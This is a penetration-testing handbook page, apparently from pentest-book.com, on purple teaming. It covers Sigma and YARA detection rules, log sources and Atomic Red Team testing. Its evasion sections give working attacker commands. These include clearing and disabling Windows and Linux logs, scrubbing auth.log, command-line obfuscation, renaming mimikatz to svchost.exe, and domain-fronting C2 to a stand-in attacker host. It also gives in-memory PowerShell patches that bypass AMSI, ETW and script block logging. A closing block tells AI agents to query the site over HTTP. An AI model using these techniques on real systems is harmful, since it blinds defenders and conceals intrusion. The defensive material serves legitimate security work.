# Purple Team

## Overview

Purple teaming combines offensive (red) and defensive (blue) team activities to improve overall security posture. This section covers detection engineering, log analysis from an attacker's perspective, and SIEM evasion techniques.

## Detection Engineering Basics

### Understanding Detection Logic

```
# Detections typically look for:
# 1. Known bad indicators (signatures)
# 2. Suspicious behavior patterns (heuristics)
# 3. Anomalies from baseline (behavioral)
# 4. Correlation of multiple events

# Common detection frameworks:
# - MITRE ATT&CK (adversary tactics/techniques)
# - Sigma (generic detection rules)
# - YARA (malware patterns)
# - Snort/Suricata (network IDS)

# Detection efficacy depends on:
# - Log coverage (what's being collected)
# - Rule quality (precision vs recall)
# - Analyst response time
# - False positive rate
```

### Sigma Rules

```yaml
# Sigma - generic signature format for SIEM
# https://github.com/SigmaHQ/sigma

# Example: Detect Mimikatz usage
title: Mimikatz Use
status: stable
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - CommandLine|contains:
            - 'sekurlsa::logonpasswords'
            - 'lsadump::sam'
            - 'lsadump::dcsync'
        - Image|endswith:
            - '\mimikatz.exe'
    condition: selection
falsepositives:
    - Legitimate security testing
level: critical

# Convert to SIEM-specific format
# sigmac -t splunk rule.yml
# sigmac -t elastalert rule.yml
# sigmac -t qradar rule.yml
```

### YARA Rules

```
# YARA - pattern matching for files/memory

rule Mimikatz_Memory {
    meta:
        description = "Detects Mimikatz in memory"
        author = "security team"
    strings:
        $s1 = "sekurlsa" ascii wide
        $s2 = "wdigest" ascii wide
        $s3 = "kerberos" ascii wide
        $s4 = "mimikatz" ascii wide nocase
        $s5 = { 4D 69 6D 69 6B 61 74 7A }  // Mimikatz
    condition:
        3 of them
}

# Scan with YARA
yara -s rules.yar suspect_file.exe
yara -s rules.yar /path/to/scan/

# Memory scanning with YARA
volatility -f memory.dmp yarascan -Y "rule_file.yar"
```

## Log Analysis for Attackers

### Windows Event Logs

```powershell
# Key log sources:
# - Security.evtx (logons, process creation, object access)
# - System.evtx (service installation, driver loading)
# - PowerShell logs (script block, transcription)
# - Sysmon (detailed process/network logging)

# Critical Event IDs:
# 4624 - Successful logon
# 4625 - Failed logon
# 4648 - Explicit credential use
# 4672 - Special privileges assigned
# 4688 - Process creation
# 4689 - Process termination
# 4697 - Service installed
# 4698 - Scheduled task created
# 4720 - User created
# 4728/4732 - User added to group
# 5140 - Network share accessed
# 5145 - Detailed file share access
# 7045 - Service installed (System log)

# Sysmon Event IDs:
# 1 - Process creation
# 3 - Network connection
# 7 - Image loaded (DLL)
# 8 - CreateRemoteThread
# 10 - Process access
# 11 - File creation
# 12/13/14 - Registry events
# 22 - DNS query

# Query logs
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text /c:5

# PowerShell query
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} -MaxEvents 10
```

### Linux Logs

```bash
# Key log files:
# /var/log/auth.log - Authentication events
# /var/log/syslog - System events
# /var/log/secure - Security events (RHEL)
# /var/log/audit/audit.log - Auditd events
# ~/.bash_history - Command history
# /var/log/apache2/access.log - Web server

# Auditd rules for detection
# /etc/audit/rules.d/audit.rules

# Monitor file access
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes

# Monitor command execution
-a always,exit -F arch=b64 -S execve -k commands

# Monitor network connections
-a always,exit -F arch=b64 -S connect -k network

# Search audit logs
ausearch -k passwd_changes
ausearch -m execve -ui 0  # Commands run as root
aureport --summary
```

### Network Logs

```bash
# Firewall logs
# - PF/iptables logs
# - Palo Alto, Fortinet, etc.

# DNS logs
# - Passive DNS
# - DNS query/response logging

# Proxy logs
# - HTTP/HTTPS requests
# - User agent strings
# - Destination URLs

# IDS/IPS logs
# - Snort/Suricata alerts
# - Network anomalies

# Netflow/sFlow
# - Connection metadata
# - Traffic patterns

# Key indicators:
# - Unusual ports/protocols
# - Beaconing behavior (regular intervals)
# - DNS tunneling (long subdomains)
# - Large data transfers
# - Connections to rare destinations
```

## SIEM Evasion

### Blending In

```bash
# Evasion principle: Look normal

# Use legitimate tools
# - PowerShell instead of custom malware
# - Built-in Windows commands
# - Signed Microsoft binaries (LOLBins)

# Common LOLBins that avoid detection:
# - certutil.exe (download files)
# - mshta.exe (execute HTA)
# - regsvr32.exe (execute COM scriptlets)
# - rundll32.exe (execute DLLs)
# - wmic.exe (remote execution)
# - msiexec.exe (install MSI)

# Time your activities
# - Work during business hours
# - Match normal user patterns
# - Avoid weekends/holidays

# Use expected protocols
# - HTTP/HTTPS for C2
# - DNS for exfil (common traffic)
# - Blend with cloud services (O365, AWS)
```

### Log Tampering

```bash
# Clear Windows event logs (noisy, often detected)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# More subtle: Delete specific events
# Requires Windows Event Log service manipulation
# Tools: Invoke-Phant0m, danderspritz eventlogedit

# Disable logging temporarily
auditpol /set /category:* /success:disable /failure:disable

# Timestomping
timestomp malware.exe -m "01/01/2020 12:00:00"

# Linux log tampering
# Clear history
history -c
unset HISTFILE
export HISTSIZE=0

# Modify auth.log
sed -i '/attacker_ip/d' /var/log/auth.log

# Stop logging
systemctl stop rsyslog
```

### Avoiding Detection Rules

```bash
# Understand what triggers detection

# Encoding/obfuscation
# Base64, XOR, custom encoding
# Break up known-bad strings
$a = "mimi"; $b = "katz"; $c = $a + $b

# Command line evasion
# Environment variable substitution
cmd /c "set x=whoami && call %x%"

# Character insertion
w^h^o^a^m^i

# Case variation (in some contexts)
WhOaMi

# Process name masquerading
# Rename binary to legitimate name
copy mimikatz.exe svchost.exe

# Parent process spoofing
# Make malicious process appear to have legitimate parent

# Avoid process creation entirely
# - Fileless malware
# - Living off the land
# - In-memory execution
```

### Network Evasion

```bash
# Domain fronting (largely blocked now)
# Use legitimate domain's infrastructure
curl -H "Host: c2.attacker.com" https://legitimate.cloudfront.net

# Encrypted channels
# TLS for C2 communications
# Custom protocols over 443

# DNS tunneling
# iodine, dnscat2
# Keep queries short and infrequent

# Slow beaconing
# Random intervals (jitter)
# Long sleep times

# Protocol mimicry
# Make C2 look like legitimate traffic
# Match expected user agents, headers

# Proxy/redirector chains
# Multiple hops between target and C2
# Use cloud infrastructure (AWS, Azure)
```

## Atomic Red Team

### Overview

```bash
# Atomic Red Team - tests mapped to MITRE ATT&CK
# https://github.com/redcanaryco/atomic-red-team

# Install
Install-Module -Name invoke-atomicredteam -Scope CurrentUser
Import-Module invoke-atomicredteam

# List available tests
Invoke-AtomicTest T1003 -ShowDetailsBrief

# Run test
Invoke-AtomicTest T1003.001 -GetPrereqs  # Install prerequisites
Invoke-AtomicTest T1003.001             # Execute test
Invoke-AtomicTest T1003.001 -Cleanup    # Clean up

# Key technique categories:
# T1003 - Credential Dumping
# T1059 - Command and Script Interpreter
# T1053 - Scheduled Task/Job
# T1047 - Windows Management Instrumentation
# T1021 - Remote Services
# T1105 - Ingress Tool Transfer
```

### Testing Detection Coverage

```bash
# Workflow for testing detections:

# 1. Identify technique to test
# Select MITRE ATT&CK technique

# 2. Review existing detections
# Check Sigma rules, SIEM queries

# 3. Execute atomic test
Invoke-AtomicTest T1003.001

# 4. Check if detection fired
# Review SIEM alerts
# Check EDR console

# 5. If not detected:
# - Tune detection rules
# - Add new detection
# - Enable additional logging

# 6. Re-test and validate

# Automated testing script
$techniques = @('T1003.001', 'T1059.001', 'T1053.005')
foreach ($t in $techniques) {
    Write-Host "Testing $t"
    Invoke-AtomicTest $t -GetPrereqs
    Invoke-AtomicTest $t
    Start-Sleep -Seconds 60  # Wait for logs
    # Check SIEM for alerts
    Invoke-AtomicTest $t -Cleanup
}
```

## Detection Bypass Techniques

### AMSI Bypass (Revisited)

```powershell
# AMSI logs PowerShell to security products
# Bypass to avoid script-based detection

# Patch amsi.dll in memory
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

# After bypass, malicious PowerShell won't be flagged
```

### ETW Bypass

```powershell
# Event Tracing for Windows logs PowerShell, .NET, etc.
# Patching prevents logging

# Patch EtwEventWrite
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    [System.Reflection.Assembly]::LoadWithPartialName("ntdll").GetModules()[0]
)
$addr = [System.Runtime.InteropServices.NativeMethods]::GetProcAddress($ntdll, "EtwEventWrite")
[System.Runtime.InteropServices.Marshal]::WriteByte($addr, 0xC3)  # ret
```

### Script Block Logging Bypass

```powershell
# Disable PowerShell Script Block Logging

# Via Group Policy bypass
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField(
    'cachedGroupPolicySettings', 'NonPublic,Static'
)
$cache = $settings.GetValue($null)
$cache['ScriptBlockLogging'] = @{}
$cache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$cache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
```

### Sysmon Evasion

```bash
# Sysmon provides detailed Windows logging
# Evasion requires understanding Sysmon config

# Check if Sysmon is running
Get-Process sysmon* -ErrorAction SilentlyContinue
Get-Service sysmon* -ErrorAction SilentlyContinue

# Sysmon config is usually at:
# C:\Windows\SysmonConfig.xml (named differently)

# Find Sysmon config
fltMC.exe | findstr /i sysmon
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv" /v "Config"

# Dump Sysmon config
# https://github.com/nshalabi/SysmonTools
SysmonShell.exe -c

# Evasion techniques:
# - Use excluded paths from config
# - Rename processes to excluded names
# - Use techniques not covered by rules
# - Unload Sysmon driver (detected)
```

## Resources

### Tools

```bash
# Detection/Testing:
# - Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
# - MITRE Caldera: https://github.com/mitre/caldera
# - Infection Monkey: https://github.com/guardicore/monkey
# - Stratus Red Team (cloud): https://github.com/DataDog/stratus-red-team

# Rule Development:
# - Sigma: https://github.com/SigmaHQ/sigma
# - YARA: https://github.com/VirusTotal/yara
# - Uncoder.io (rule conversion)

# Log Analysis:
# - Chainsaw: https://github.com/WithSecureLabs/chainsaw
# - Hayabusa: https://github.com/Yamato-Security/hayabusa
# - DeepBlueCLI: https://github.com/sans-blue-team/DeepBlueCLI

# Threat Intelligence:
# - MITRE ATT&CK: https://attack.mitre.org/
# - Threat Hunter Playbook: https://threathunterplaybook.com/
```

### References

* [MITRE ATT\&CK](https://attack.mitre.org/)
* [Sigma Rules](https://github.com/SigmaHQ/sigma)
* [Atomic Red Team](https://atomicredteam.io/)
* [Detection Lab](https://github.com/clong/DetectionLab)
* [HELK](https://github.com/Cyb3rWard0g/HELK)
* [Threat Hunter Playbook](https://threathunterplaybook.com/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/others/purple-team.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
